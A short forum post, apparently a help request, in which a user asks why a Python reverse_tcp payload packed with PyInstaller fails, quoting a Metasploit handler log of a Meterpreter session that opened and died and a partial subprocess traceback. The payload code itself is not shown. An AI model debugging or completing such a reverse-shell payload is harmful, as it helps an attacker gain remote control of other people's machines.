Failed to execute script

[CJSparrow]

hello, i executed the python file with pyinstaller, but when i run the code i get Failed to execute script. also when i checked my multi/handle (msfconsole), i found that i got the connection and it closed .

[*] Meterpreter session 27 opened (192.168.1.4:4444-> MYHOST:50285) at 2020-10-19 23:06:21 +0300
[*] MYHOST - Meterpreter session 27 closed.  Reason: Died

Died means that the script closed by it's self or by task manager etc... so what should i do?

i think bc the reverse_tcp coded in old python, but im not sure

i converted the coded to 3.x^, i ran the script in console i got:

    proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  File "subprocess.py", line 854, in __init__
  File "subprocess.py", line 1239, in _execute_child
